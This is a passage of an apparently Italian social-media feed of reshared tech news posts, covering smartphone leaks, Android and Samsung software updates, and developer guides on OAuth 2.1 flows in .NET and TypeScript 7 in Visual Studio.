Dario Fadda ha ricondiviso questo.

Finalmente! La barra di ricerca del Pixel Launcher potrebbe diventare opzionale con Android 17


Google starebbe preparando una delle modifiche più attese dagli utenti Pixel: la possibilità di nascondere la barra di ricerca Google nella schermata home. Stando all'analisi del codice di Android 17 QPR1 Beta 2 effettuata da Android Authority, nell'app Pixel Launcher sono comparse nuove stringhe di testo che suggeriscono l'arrivo di un'opzione di personalizzazione inedita. Cosa dice il codice Cosa dice il codice Le stringhe individuate includono voci come "Personalizza barra di […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Google starebbe preparando una delle modifiche più attese dagli utenti Pixel: la possibilità di nascondere la barra di ricerca Google nella schermata home. Stando all’analisi del codice di Android 17 QPR1 Beta 2 effettuata da Android Authority, nell’app Pixel Launcher sono comparse nuove stringhe di testo che suggeriscono l’arrivo di un’opzione di personalizzazione inedita.

Cosa dice il codice

Cosa dice il codice


Le stringhe individuate includono voci come “Personalizza barra di ricerca”, “Impostazioni barra di ricerca”, “Mostra barra di ricerca” e “Mostra in basso nella schermata home”. La presenza di questi testi fa ipotizzare che Google stia sviluppando un toggle per attivare o disattivare la visualizzazione della search bar, probabilmente attraverso le impostazioni del launcher.

Una richiesta di lunga data


La barra di ricerca in fondo alla home è sempre stata un elemento fisso dei Pixel. Per molti utenti è utilissima, ma chi preferisce uno schermo più pulito o utilizza motori di ricerca alternativi l’ha sempre vissuta come un ingombro impossibile da rimuovere. Fino ad oggi, l’unica alternativa era sostituire il Pixel Launcher con uno di terze parti, come Nova Launcher, perdendo però alcune funzioni esclusive di Google.

Google apre alla personalizzazione


Questa novità si inserisce in un trend più ampio: lo stesso Android 17 beta ha già introdotto la possibilità di nascondere il widget “At a Glance”. Sembra quindi che Google stia gradualmente ridando agli utenti il controllo sull’interfaccia dei Pixel, allontanandosi dalla filosofia del “UI ottimizzata da noi” a favore di maggiore libertà di configurazione. L’implementazione definitiva potrebbe arrivare con la versione stabile di Android 17 o in un successivo Pixel Feature Drop.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Xperia 1 VIII: trapelano immagini ufficiali, prezzo e data di uscita. Addio allo zoom continuo?


Il lancio dello Xperia 1 VIII si avvicina e le indiscrezioni si moltiplicano. Un nuovo maxi-leak apparso su Weibo ha rivelato quello che sembra essere il rendering ufficiale dello smartphone, insieme a informazioni su colorazioni, data di lancio ad Hong Kong e prezzi. Non mancano anche notizie sorprendenti sul comparto fotografico. Quattro colorazioni, con un'inedita Gold Secondo il leak, Xperia 1 VIII sarà disponibile in quattro varianti cromatiche: Graphite Black, Iolite Silver, Garnet […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Il lancio dello Xperia 1 VIII si avvicina e le indiscrezioni si moltiplicano. Un nuovo maxi-leak apparso su Weibo ha rivelato quello che sembra essere il rendering ufficiale dello smartphone, insieme a informazioni su colorazioni, data di lancio ad Hong Kong e prezzi. Non mancano anche notizie sorprendenti sul comparto fotografico.

Quattro colorazioni, con un’inedita Gold


Secondo il leak, Xperia 1 VIII sarà disponibile in quattro varianti cromatiche: Graphite Black, Iolite Silver, Garnet Red e Native Gold. Quest’ultima è una novità per la serie, assente nei modelli recenti, e potrebbe rappresentare un elemento di differenziazione rispetto al predecessore. Il design del pannello posteriore sarebbe già stato anticipato dai precedenti render CAD di un noto leaker, con il logo SONY collocato a fianco del modulo fotocamera.

Prezzo ad Hong Kong in rialzo del 19%


Sul fronte dei prezzi, le cifre indicate per il mercato di Hong Kong sono piuttosto significative: il modello da 256 GB sarebbe venduto a 12.099 dollari di Hong Kong, mentre quello da 512 GB a 12.899 HKD. Si tratta di un rincaro di circa il 18-19% rispetto allo Xperia 1 VII, che veniva proposto rispettivamente a 10.199 e 10.999 HKD. Se lo stesso incremento venisse applicato al mercato italiano, il modello SIMfree potrebbe superare i 240 euro rispetto ai circa 204.600 yen (circa 1.300 euro) del predecessore. Un salto non da poco, soprattutto in un segmento già molto premium.

Lancio ad Hong Kong il 20 maggio, Italia attesa a giugno


Il leak indica il 20 maggio come data di disponibilità ad Hong Kong (anche se potrebbe trattarsi dell’apertura dei preordini). Per l’Europa, una precedente indiscrezione parlava di fine giugno, mentre per l’Italia e il Giappone si ipotizza un’uscita intorno ai primi di giugno, seguendo il consueto calendario di Sony per la serie Xperia.

Addio al continuum zoom? La grande sorpresa


La notizia più discussa riguarda il teleobiettivo: secondo la stessa fonte, Xperia 1 VIII potrebbe eliminare lo zoom ottico a variazione continua, introdotto per la prima volta con Xperia 1 VI appena due generazioni fa. Si tratterebbe di un passo indietro inatteso, considerata la natura identitaria di quella funzione per il brand. Le motivazioni non sono note, ma si ipotizzano ragioni legate ai costi, alla disponibilità dei componenti o a scelte di ottimizzazione ottica. Se confermato, è un elemento che farà discutere non poco la community Xperia.

Nel complesso, il quadro che emerge da questo leak è abbastanza dettagliato da suggerire un’attendibilità elevata. Nelle prossime settimane si attendono comunicazioni ufficiali da Sony.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

HyperOS 4: Xiaomi adotterà il design Liquid Glass con trasparenze e profondità visiva


Mentre Google dice no al Liquid Glass su Pixel, Xiaomi sembra andare nella direzione opposta. Le ultime indiscrezioni sulla prossima versione dell'interfaccia HyperOS, la versione 4, parlano di un profondo rinnovamento grafico ispirato proprio a questo tipo di estetica: trasparenze, effetti di sfocatura e un senso di profondità che cambierebbe radicalmente l'aspetto visivo dei telefoni Xiaomi. Cosa si intende per Liquid Glass design Il concetto di Liquid Glass in ambito UI si riferisce a […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Mentre Google dice no al Liquid Glass su Pixel, Xiaomi sembra andare nella direzione opposta. Le ultime indiscrezioni sulla prossima versione dell’interfaccia HyperOS, la versione 4, parlano di un profondo rinnovamento grafico ispirato proprio a questo tipo di estetica: trasparenze, effetti di sfocatura e un senso di profondità che cambierebbe radicalmente l’aspetto visivo dei telefoni Xiaomi.

Cosa si intende per Liquid Glass design


Il concetto di Liquid Glass in ambito UI si riferisce a interfacce con superfici semi-trasparenti che filtrano i contenuti sottostanti, effetti di luce e rifrazione, e un senso di tridimensionalità. Non si tratta semplicemente di estetica: l’idea è creare un’esperienza visiva più immersiva e coerente. Già nella tastiera di sistema dell’attuale HyperOS si vedono i primi test di sfocatura, considerati come anteprima di ciò che verrà.

Non tutti i dispositivi ne beneficeranno allo stesso modo


Gli effetti di trasparenza e sfocatura richiedono risorse GPU significative, quindi HyperOS 4 proporrà presumibilmente un’esperienza scalata in base all’hardware. I modelli Xiaomi 17, 15T Pro e alcuni della serie 13 dovrebbero ricevere l’implementazione completa, mentre i dispositivi di fascia più bassa — come alcuni Redmi e POCO entry-level — otterranno una versione semplificata.

Un trend che potrebbe diffondersi nell’ecosistema Android


Quello che rende interessante la mossa di Xiaomi è il possibile effetto domino. Se HyperOS 4 avrà successo con questo approccio, altri produttori Android potrebbero seguire la stessa strada. Del resto, anche Android 17 stesso sembra voler introdurre effetti visivi più sofisticati, pur nel rispetto del proprio DNA Material Design. Il 2026 potrebbe segnare l’inizio di una nuova era estetica per gli smartphone Android.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

OPPO Reno X: lo smartphone grandangolare con 7000 mAh che sfida i pieghevoli senza piegarsi


OPPO potrebbe presto presentare un dispositivo fuori dagli schemi: il Reno X, uno smartphone con un rapporto d'aspetto 16:10 — decisamente più largo del normale — pensato per offrire un'esperienza visiva simile a quella di un pieghevole, ma con un corpo rigido tradizionale. Un'idea originale in un mercato che sembra seguire sempre gli stessi percorsi. Un formato insolito per uno schermo da 6,39 pollici Il display da 6,39 pollici del Reno X sarebbe decisamente più largo rispetto agli […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

OPPO potrebbe presto presentare un dispositivo fuori dagli schemi: il Reno X, uno smartphone con un rapporto d’aspetto 16:10 — decisamente più largo del normale — pensato per offrire un’esperienza visiva simile a quella di un pieghevole, ma con un corpo rigido tradizionale. Un’idea originale in un mercato che sembra seguire sempre gli stessi percorsi.

Un formato insolito per uno schermo da 6,39 pollici


Il display da 6,39 pollici del Reno X sarebbe decisamente più largo rispetto agli smartphone attuali, con dimensioni fisiche di circa 143 x 91 mm. Un telefono quasi quadrato, insomma, che strizza l’occhio ai tablet mini e ai device multimedia. L’obiettivo dichiarato è ottenere un’area video più ampia senza ricorrere a cerniere o meccanismi pieghevoli — con tutto ciò che comporta in termini di costo e fragilità.

Specifiche da flagship: Dimensity top, 7000 mAh e tele periscopico


Sotto la scocca ci sarebbe un chipset Dimensity di fascia alta (probabilmente la serie 9), abbinato a una batteria da ben 7000 mAh. Il comparto fotografico non delude: tripla fotocamera con sensore principale da 50 MP e teleobiettivo periscopico per un elevato zoom ottico. Una configurazione da smartphone serio, non da semplice esperimento di design.

Possibile debutto insieme ai nuovi Find di OPPO


Secondo le indiscrezioni, il Reno X potrebbe essere presentato insieme alla prossima generazione di Find Series, il che suggerirebbe un posizionamento premium anche nella comunicazione di lancio. Per ora si tratta ancora di un progetto in fase di sviluppo, con specifiche non definitive. Ma l’idea di base — grande schermo senza piegarsi — è abbastanza intrigante da tenere d’occhio.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

La Sovereign Tech Agency vuole offrire un (alto) stipendio a quanti sviluppano standard open-source


Un nuovo "bel colpo" da parte del Sovereign Tech Fund tedesco il quale, alla costante ricerca di sovranità digitale, offre un compenso mensile tra i 4.800 e i 5.200 euro ai maintaner di progetti open-source dedicati agli standard.

🔗 Leggi il post completo

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Arch Linux 2026.05.01: rilasciata l’immagine ISO di maggio 2026


Arch Linux è una distribuzione GNU/Linux indipendente, progettata con l’obiettivo di offrire un sistema operativo semplice, leggero e altamente personalizzabile. Nata nel 2002 grazie al lavoro di Judd Vinet, questa distribuzione si basa su un modello di sviluppo rolling release, ovvero un...

🔗 Leggi il post completo

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

OAuth 2.1 spiegato semplicemente: i tre flussi che coprono ogni scenario


OAuth 2.1 elimina i flussi insicuri di OAuth 2.0 e semplifica radicalmente la scelta: tre flussi coprono ogni scenario reale. Guida pratica con esempi in .NET 10 per Client Credentials, Authorization Code con PKCE e Device Authorization.
The media in this post is not displayed to visitors. To view it, please go to the original post.

OAuth 2.0 è stato a lungo sinonimo di complessità: sei grant type diversi, tutorial spesso contraddittori, e sviluppatori che finivano per scegliere il flusso sbagliato e pubblicare applicazioni insicure. Nel 2026 questo scenario appartiene al passato. OAuth 2.1 ha fatto ciò che la community chiedeva da anni: ha eliminato i flussi pericolosi, ha reso PKCE obbligatorio su ogni grant di autorizzazione, e ha lasciato una specifica molto più facile da imparare e quasi impossibile da usare in modo scorretto.

Se state sviluppando con .NET 10, questo articolo copre tutto ciò che dovete sapere. Tre flussi. Cinque secondi per scegliere quello giusto. Partiamo.

Il problema con OAuth 2.0


OAuth 2.0 nacque con una buona intenzione: delegare l’autorizzazione senza condividere le credenziali. Ma la specifica era così flessibile da includere flussi profondi (come l’Implicit Flow per le SPA) che erano già problematici nel 2012 e sono diventati veri e propri anti-pattern con l’evoluzione del web. Il risultato? Anni di articoli in conflitto, sviluppatori confusi, e vulnerabilità di sicurezza difficili da rilevare in code review.

OAuth 2.1 risolve questo alla radice: mantiene quello che funziona, rimuove quello che è pericoloso, e consolida le best practice nel testo normativo stesso.

Flusso 1: Client Credentials — comunicazione machine-to-machine


Quando nessun utente umano è coinvolto nella comunicazione, si usa il flusso Client Credentials. Esempi tipici:

  • Un job notturno che interroga un’API di reportistica
  • Un microservizio di spedizione che notifica il microservizio di inventario
  • Un worker in background che elabora una coda di messaggi
  • Un’API interna che chiama un altro servizio interno

In questi scenari, è il servizio stesso ad essere l’identità — agisce per proprio conto, non per conto di un utente. Il flusso è diretto e senza reindirizzamenti browser:

  1. Il servizio invia le proprie credenziali al token service via HTTP POST
  2. Il token service verifica l’identità e restituisce un access token
  3. Il servizio usa il token per chiamare le API target


// .NET 10 — richiesta di un token Client Credentials con IdentityModel
var client = new HttpClient();
var response = await client.RequestClientCredentialsTokenAsync(
    new ClientCredentialsTokenRequest
    {
        Address = "https://identity.example.com/connect/token",
        ClientId = "service-a",
        ClientSecret = "segreto-sicuro",
        Scope = "api1.read api1.write"
    });

var accessToken = response.AccessToken;
// Usa accessToken nell'Authorization header delle chiamate successive


OAuth 2.1 supporta tre meccanismi di autenticazione del client, in ordine crescente di sicurezza:
  • Client secret: client_id e client_secret nell’header Basic o nel body — semplice ma richiede una buona gestione dei segreti
  • private_key_jwt: il client firma un JWT con la propria chiave privata; il token service valida la firma con la chiave pubblica registrata
  • Mutual TLS (mTLS): autenticazione al livello di trasporto con certificati X.509 — massima sicurezza per ambienti ad alto rischio


Flusso 2: Authorization Code + PKCE — applicazioni con utente


Se un essere umano deve autenticarsi, questa è la risposta universale. Che si tratti di un’app Razor Pages server-side, un’app mobile nativa, un’applicazione desktop o una SPA dietro un Backend-for-Frontend, Authorization Code con PKCE è il flusso corretto in OAuth 2.1 — senza eccezioni.

Come funziona


  1. L’applicazione reindirizza l’utente all’authorization endpoint del provider di identità
  2. L’utente si autentica (password, MFA, policy aziendali)
  3. Il provider reindirizza l’utente all’applicazione con un authorization code di breve durata
  4. L’applicazione scambia il codice per i token tramite una chiamata back-channel diretta

Le credenziali dell’utente non toccano mai l’applicazione. I token non transitano mai attraverso la barra degli indirizzi del browser.

PKCE: protezione contro l’intercettazione del codice


PKCE (Proof Key for Code Exchange, pronunciato “pixie”) aggiunge uno strato critico di protezione all’exchange del codice. Prima di avviare il flusso, l’applicazione:

  1. Genera una stringa casuale (code_verifier)
  2. Calcola il suo hash SHA-256 (code_challenge)
  3. Invia il code_challenge nella richiesta di autorizzazione

Quando poi scambia il codice per i token, invia il code_verifier originale. Il token service verifica che l’hash corrisponda alla challenge registrata. Un attaccante che intercetta l’authorization code — attraverso un’app malevola sullo stesso custom URI scheme, un redirect compromesso, o qualsiasi altro vettore — non può usarlo senza il code_verifier. Il codice è inutile senza di esso.

// .NET 10 — configurazione OIDC con Authorization Code + PKCE
builder.Services
    .AddAuthentication(options =>
    {
        options.DefaultScheme = "cookie";
        options.DefaultChallengeScheme = "oidc";
    })
    .AddCookie("cookie")
    .AddOpenIdConnect("oidc", options =>
    {
        options.Authority = "https://identity.example.com";
        options.ClientId = "web-app";
        options.ClientSecret = "segreto-sicuro";
        options.ResponseType = "code";       // Authorization Code Flow
        options.UsePkce = true;              // PKCE (abilitato di default in .NET)
        options.SaveTokens = true;
        options.Scope.Add("openid");
        options.Scope.Add("profile");
        options.Scope.Add("api1.read");
    });


Nota importante sulle SPA: le best practice correnti raccomandano di non esporre token al codice JavaScript lato client. Le SPA dovrebbero usare il pattern Backend-for-Frontend (BFF), dove è il server a gestire il flusso OIDC e a esporre solo cookie di sessione al browser.

Flusso 3: Device Authorization — dispositivi senza browser


Alcuni dispositivi non hanno un browser o una tastiera utilizzabile: smart TV, console di gioco, sensori IoT, strumenti CLI in ambienti headless. Non si può reindirizzare un utente a una pagina di login che non esiste.

Il flusso Device Authorization (RFC 8628) risolve questo con un pattern disaccoppiato:

  1. Il dispositivo richiede un codice utente e un URL di verifica al token service
  2. Il dispositivo mostra all’utente qualcosa come: “Vai su login.example.com/device e inserisci il codice: ABCD-1234”
  3. L’utente prende il proprio telefono o laptop, naviga all’URL, inserisce il codice e si autentica normalmente
  4. Nel frattempo, il dispositivo fa polling al token endpoint a intervalli regolari
  5. Quando l’utente completa l’autenticazione, il dispositivo riceve l’access token

È semplice, sicuro, e non richiede al dispositivo vincolato di rendere un’interfaccia di login.

L’albero decisionale di OAuth 2.1


Scegliere il flusso corretto richiede esattamente due domande:

  1. È coinvolto un utente umano?No → Client Credentials
    • Sì → vai al punto 2


  2. Il dispositivo ha un browser?Sì → Authorization Code + PKCE
    • No → Device Authorization


Questo è l’intero albero decisionale. Niente eccezioni. Niente casi speciali (a parte scenari legacy di migrazione).

Cosa ha rimosso OAuth 2.1 e perché


Tre flussi di OAuth 2.0 sono stati eliminati dallo standard. Non è necessario impararli per le nuove applicazioni, ma capire perché sono stati rimossi aiuta a riconoscerli se ci si imbatte in codice datato:

  • Implicit Flow: era nato per le SPA in un’epoca in cui i browser non supportavano chiamate cross-origin POST. Restituiva i token direttamente nel fragment dell’URL, rendendoli visibili nella history del browser, nelle intestazioni referer e nei log del server. Con il supporto universale di CORS, la sua ragion d’essere è svanita.
  • Resource Owner Password Credentials (ROPC): chiedeva agli utenti di digitare username e password direttamente nell’applicazione client — vanificando l’intero scopo di OAuth. Non supportava MFA o login federato, e abituava gli utenti a consegnare le proprie credenziali ad app che non avrebbero dovuto averle.
  • Authorization Code senza PKCE: funzionava sulle app server-side, ma su piattaforme mobile più applicazioni possono registrarsi sullo stesso URI scheme personalizzato. Un’app malevola poteva intercettare l’authorization code e scambiarlo per token. Con PKCE obbligatorio, il codice intercettato diventa inutile.


Conclusioni


OAuth 2.1 è il protocollo di autorizzazione che avremmo voluto avere dal principio: tre flussi chiari, PKCE obbligatorio, nessuna ambiguità nella scelta. Per chi sviluppa in .NET 10, l’ecosistema è già allineato — le librerie come Duende IdentityServer e IdentityModel implementano questi pattern nativamente. Il passo successivo è una revisione del codice esistente per identificare eventuali flussi legacy da migrare.

Fonte: OAuth 2.1 Made Simple: The Only Flows You Need — Khalid Abuhakmeh, Duende Software, 6 maggio 2026

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

TypeScript 7 Beta abilitato di default in Visual Studio 2026: guida pratica


Visual Studio 2026 18.6 Insiders 3 porta TypeScript 7 Beta (native preview) come compilatore integrato di default. Ecco cosa cambia per gli sviluppatori: performance fino a 10x, come controllare la versione e i problemi noti da tenere a mente.
The media in this post is not displayed to visitors. To view it, please go to the original post.

Con la terza preview di Visual Studio 2026 18.6 Insiders, Microsoft ha compiuto un passo importante: il compilatore integrato di TypeScript è stato aggiornato a TypeScript 7 Beta (native preview). Per tutti gli sviluppatori che usano Visual Studio con progetti TypeScript o JavaScript — compresi i progetti ASP.NET Core con pacchetti npm — questo cambiamento è già attivo e vale la pena capire cosa comporta.

Cos’è il compilatore nativo di TypeScript 7?


TypeScript 7 è un porting nativo del compilatore TypeScript, riscritto in Go. Questo porta l’esecuzione nativa e il parallelismo a memoria condivisa al compilatore e al language service TypeScript. I risultati misurati parlano di:

  • Fino a 10x più veloce per la compilazione di codebase di grandi dimensioni.
  • Riduzione significativa dell’uso di memoria rispetto al compilatore precedente.
  • Caricamento dei progetti circa 8x più rapido all’apertura in Visual Studio.

Se lavori con progetti TypeScript o JavaScript di grandi dimensioni, noterai miglioramenti concreti su tutta l’esperienza di sviluppo.

Quali funzionalità di Visual Studio beneficiano di TypeScript 7?


Il language service TypeScript aggiornato migliora direttamente molte funzionalità dell’IDE:

  • IntelliSense e completamenti. I suggerimenti di codice e le informazioni sui parametri appaiono più velocemente, soprattutto nei progetti grandi dove in precedenza si notava un ritardo.
  • Find All References. La ricerca di riferimenti nell’intera soluzione è significativamente più rapida.
  • Go to Definition. La navigazione alle definizioni è più reattiva.
  • Diagnostica degli errori. Le sottolineature rosse e la lista degli errori si aggiornano più rapidamente mentre si scrive.
  • Tempi di caricamento dei progetti. L’apertura di progetti TypeScript e JavaScript è notevolmente più veloce, con tempi ridotti di circa 8x.


Come controllare quale versione di TypeScript usa Visual Studio


Visual Studio usa il compilatore TypeScript integrato solo quando il progetto non specifica una versione locale. Se nel tuo progetto è installato TypeScript tramite npm, Visual Studio userà automaticamente quella versione invece di quella integrata.

Disabilitare la native preview di TypeScript 7


Se preferisci tornare al language service precedente, puoi disabilitare la native preview in Visual Studio. Vai in Strumenti > Opzioni > Funzionalità di anteprima e cerca “native preview”. Deseleziona l’opzione Enable JavaScript/TypeScript Native Language Service Preview e riavvia Visual Studio.

Usare TypeScript 6.x (GA)


Per usare la release stabile corrente, installa il pacchetto typescript nel tuo progetto:

npm install -D typescript@^6.0.0


Visual Studio rileverà la versione nella cartella node_modules e utilizzerà quella invece del compilatore integrato.

Fissare una versione specifica della native preview


Se vuoi usare esplicitamente la native preview ma fissare una versione specifica, installa il pacchetto @typescript/native-preview:

npm install -D @typescript/native-preview@beta


Problemi noti (e come aggirarli)


TypeScript 7 porta miglioramenti significativi, ma il team Microsoft è ancora al lavoro per raggiungere la parità completa di funzionalità con il compilatore precedente. Ecco i problemi noti più rilevanti per il lavoro quotidiano:

  • IntelliSense. In alcuni casi i completamenti potrebbero non apparire. Nei file .cshtml, l’elenco dei completamenti potrebbe non apparire all’interno di un tag <script>. Premere Ctrl+Space può aggirare il problema.
  • Azioni codice e refactoring. Le correzioni rapide (Ctrl+.) non sono ancora disponibili. Il comando Organize Imports (Ctrl+R, Ctrl+G) non è disponibile.
  • Navigazione e ricerca. I dropdown della barra di navigazione in cima all’editor non mostrano i simboli del documento. Find All References (Shift+F12) mostra una lista piatta senza raggruppamento semantico.
  • CodeLens. I contatori di riferimenti (es. “19 references”) non appaiono sopra le dichiarazioni di interfacce e classi.
  • Rinomina file. Rinominare un file o una cartella in un progetto TypeScript non aggiorna in modo consistente i percorsi di import negli altri file.
  • File watching. Quando i file vengono modificati fuori da Visual Studio, le modifiche non vengono rilevate finché il file non viene aperto e modificato nell’IDE.


Come riportare feedback


Se riscontri problemi con il compilatore o il language service TypeScript 7, il posto migliore per segnalarli è il repository GitHub typescript-go.

Per problemi specifici di Visual Studio, usa Developer Community per segnalare bug o suggerire miglioramenti.

Quando aggiornare?


Se lavori su progetti TypeScript/JavaScript di grandi dimensioni in Visual Studio, i guadagni di performance giustificano la prova della native preview già ora, accettando i problemi noti. Per progetti più piccoli o in produzione dove la stabilità è critica, è ragionevole aspettare il rilascio stabile di TypeScript 7 o fissare esplicitamente la versione 6.x nel progetto.

In ogni caso, il messaggio è chiaro: la direzione di Microsoft è verso un TypeScript nativo, più veloce e meno esigente in termini di risorse. Vale la pena familiarizzare ora con le nuove opzioni di configurazione.


Fonte: TypeScript 7 Beta Now Enabled by Default in Visual Studio 2026 18.6 Insiders 3 di Sayed Ibrahim Hashimi (Visual Studio Blog)

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Odin 3 Ultra cancellato: la crisi della RAM colpisce il gaming Android portatile


AYN, produttore di console portatili Android, ha comunicato via email ai clienti che avevano preordinato l'Odin 3 Ultra la cancellazione del prodotto. Il motivo? Impossibilità di reperire i componenti necessari, in particolare moduli di memoria RAM ad alta capacità. Un ennesimo segnale della crisi globale che sta colpendo il settore dei semiconduttori. Un dispositivo ambizioso fermato dalla supply chain L'Odin 3 Ultra era pensato per essere la versione top di gamma della lineup AYN, con […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

AYN, produttore di console portatili Android, ha comunicato via email ai clienti che avevano preordinato l’Odin 3 Ultra la cancellazione del prodotto. Il motivo? Impossibilità di reperire i componenti necessari, in particolare moduli di memoria RAM ad alta capacità. Un ennesimo segnale della crisi globale che sta colpendo il settore dei semiconduttori.

Un dispositivo ambizioso fermato dalla supply chain


L’Odin 3 Ultra era pensato per essere la versione top di gamma della lineup AYN, con 24 GB di RAM e 1 TB di storage interno. Le prime unità erano già state spedite, ma i lotti successivi non vedranno mai la luce. AYN ha dichiarato di aver esplorato soluzioni alternative con diversi fornitori senza successo, arrivando alla dolorosa decisione di sospendere il progetto.

Due opzioni per chi aveva preordinato


I clienti colpiti dalla cancellazione hanno due possibilità: richiedere il rimborso completo dell’importo versato, oppure accettare un cambio con il modello Odin 3 Max (16 GB RAM, 512 GB storage) con uno sconto compensativo. Non tutti gli acquirenti sembrano soddisfatti di quest’ultima opzione, considerando la differenza di specifiche tecnica non indifferente.

Un problema strutturale per il mercato gaming Android


Il caso Odin 3 Ultra non è isolato. Negli ultimi mesi, diversi produttori di console portatili Android hanno dovuto ridimensionare le specifiche dei propri prodotti o posticipare le uscite a causa della scarsità di componenti. Con la domanda di RAM alta in costante crescita — trainata da AI, gaming e dispositivi mobili di fascia alta — la competizione per le forniture è più accesa che mai.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

One UI 9.5 già in sviluppo per il Galaxy S27: Samsung pianifica in anticipo il futuro software


Mentre One UI 8.5 è appena arrivato sui dispositivi Samsung compatibili, già trapelano indiscrezioni sulla versione successiva. Secondo i leak più recenti, Samsung avrebbe avviato lo sviluppo di One UI 9.5, destinato ai futuri Galaxy S27 attesi nel 2027. Un segnale che la casa coreana sta pianificando il proprio roadmap software con largo anticipo. Prima di tutto arriva One UI 9 con Android 17 Il passaggio diretto è però One UI 9, basato su Android 17 e atteso per l'estate 2026. La […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Mentre One UI 8.5 è appena arrivato sui dispositivi Samsung compatibili, già trapelano indiscrezioni sulla versione successiva. Secondo i leak più recenti, Samsung avrebbe avviato lo sviluppo di One UI 9.5, destinato ai futuri Galaxy S27 attesi nel 2027. Un segnale che la casa coreana sta pianificando il proprio roadmap software con largo anticipo.

Prima di tutto arriva One UI 9 con Android 17


Il passaggio diretto è però One UI 9, basato su Android 17 e atteso per l’estate 2026. La presentazione dovrebbe avvenire in concomitanza con l’annuncio dei nuovi pieghevoli Galaxy Z, per poi diffondersi sui modelli supportati nel corso dell’autunno. Come di consueto, i Galaxy S di ultima generazione saranno i primi a ricevere l’aggiornamento.

Il ciclo software Samsung si fa più prevedibile


Dalle informazioni disponibili emerge un ritmo di rilascio più regolare: aggiornamento major in estate con il lancio dei pieghevoli, distribuzione ai dispositivi esistenti entro fine anno, e avvio dello sviluppo del successivo già nella prima metà dell’anno. Questo approccio dovrebbe rendere più prevedibile per gli utenti quando aspettarsi gli aggiornamenti.

Galaxy S27: cosa sappiamo finora


Sul fronte hardware, il Galaxy S27 inizia a delinearsi nei leak: si parla di un possibile modello Pro (a metà strada tra S27 e S27 Ultra, senza stilo), nuove memorie di archiviazione più veloci, aggiornamento al chipset di nuova generazione e revisioni al comparto fotografico. Nulla di confermato, ma il quadro che emerge è quello di una generazione ambiziosa.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Aggiornamento maggio 2026 per Pixel: molti fix ma il problema batteria rimane irrisolto


Google ha distribuito l'aggiornamento software di maggio 2026 per i dispositivi Pixel. Il pacchetto include diverse correzioni utili, ma la notizia che sta facendo più discutere è un'altra: il fastidioso problema di consumo anomalo della batteria, segnalato da migliaia di utenti da marzo, non è ancora stato risolto. Cosa risolve l'aggiornamento di maggio L'update porta con sé una serie di fix concreti. La ricarica wireless ora funziona correttamente anche a livelli di batteria […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Google ha distribuito l’aggiornamento software di maggio 2026 per i dispositivi Pixel. Il pacchetto include diverse correzioni utili, ma la notizia che sta facendo più discutere è un’altra: il fastidioso problema di consumo anomalo della batteria, segnalato da migliaia di utenti da marzo, non è ancora stato risolto.

Cosa risolve l’aggiornamento di maggio


L’update porta con sé una serie di fix concreti. La ricarica wireless ora funziona correttamente anche a livelli di batteria intermedi, la fotocamera non va più in crash in modo casuale, e sono stati eliminati due problemi visivi fastidiosi: lo sfarfallio bianco nella parte alta dello schermo e il congelamento dell’immagine. Risolto anche un bug che bloccava la tastiera durante l’utilizzo di alcune app. I modelli interessati comprendono Pixel 7a e successivi, inclusi tablet e pieghevoli.

Il problema batteria persiste da marzo


Il vero problema resta però l’autonomia. Dal major update di marzo, molti Pixel mostrano un consumo energetico eccessivo anche a schermo spento, probabilmente legato a una gestione difettosa degli stati di basso consumo della CPU. Il bug è stato ampiamente documentato dalla community ed è emerso anche in sondaggi di settore, con una percentuale significativa di utenti che confermano il peggioramento dell’autonomia.

Quando arriverà la correzione?


Google non ha ancora comunicato una tempistica precisa, ma le indiscrezioni suggeriscono che una patch sia già in preparazione e potrebbe arrivare con l’aggiornamento di giugno o in un update straordinario. Per ora, se il vostro Pixel soffre di scarsa autonomia, l’unica indicazione è attendere il prossimo rilascio software.

Dario Fadda reshared this.

Dario Fadda ha ricondiviso questo.

Xiaomi abbandona i pieghevoli compatti? Mix Flip potrebbe non avere un successore


Una fonte cinese nota nel settore dei leak ha lanciato un'indiscrezione che farà discutere gli appassionati di pieghevoli: Xiaomi avrebbe deciso di mettere in pausa o abbandonare definitivamente la linea di smartphone pieghevoli compatti, quella che comprende il Mix Flip. Se confermato, il Mix Flip 2 del 2025 resterà l'ultimo rappresentante di quella categoria. Mix Flip 2: un prodotto apprezzato senza erede Il Mix Flip 2 aveva conquistato buoni giudizi per la qualità costruttiva e le […]
The media in this post is not displayed to visitors. To view it, please go to the original post.

Una fonte cinese nota nel settore dei leak ha lanciato un’indiscrezione che farà discutere gli appassionati di pieghevoli: Xiaomi avrebbe deciso di mettere in pausa o abbandonare definitivamente la linea di smartphone pieghevoli compatti, quella che comprende il Mix Flip. Se confermato, il Mix Flip 2 del 2025 resterà l’ultimo rappresentante di quella categoria.

Mix Flip 2: un prodotto apprezzato senza erede


Il Mix Flip 2 aveva conquistato buoni giudizi per la qualità costruttiva e le funzionalità del display esterno, ma da allora nessuna informazione concreta è emersa su un possibile successore. In retrospettiva, quel silenzio potrebbe essere stato un segnale. Xiaomi non ha rilasciato dichiarazioni ufficiali, e il leak va preso con la dovuta cautela.

La concorrenza non si ferma


Nel frattempo il mercato dei flip phone pieghevoli è sempre più competitivo. Samsung continua a dominare con la serie Galaxy Z Flip, Motorola ha rafforzato la propria presenza con nuovi Razr, e persino brand più recenti stanno presentando proposte interessanti. Una scelta di campo in questo momento potrebbe rivelarsi rischiosa per Xiaomi.

Mix Fold 5 potrebbe essere il focus futuro


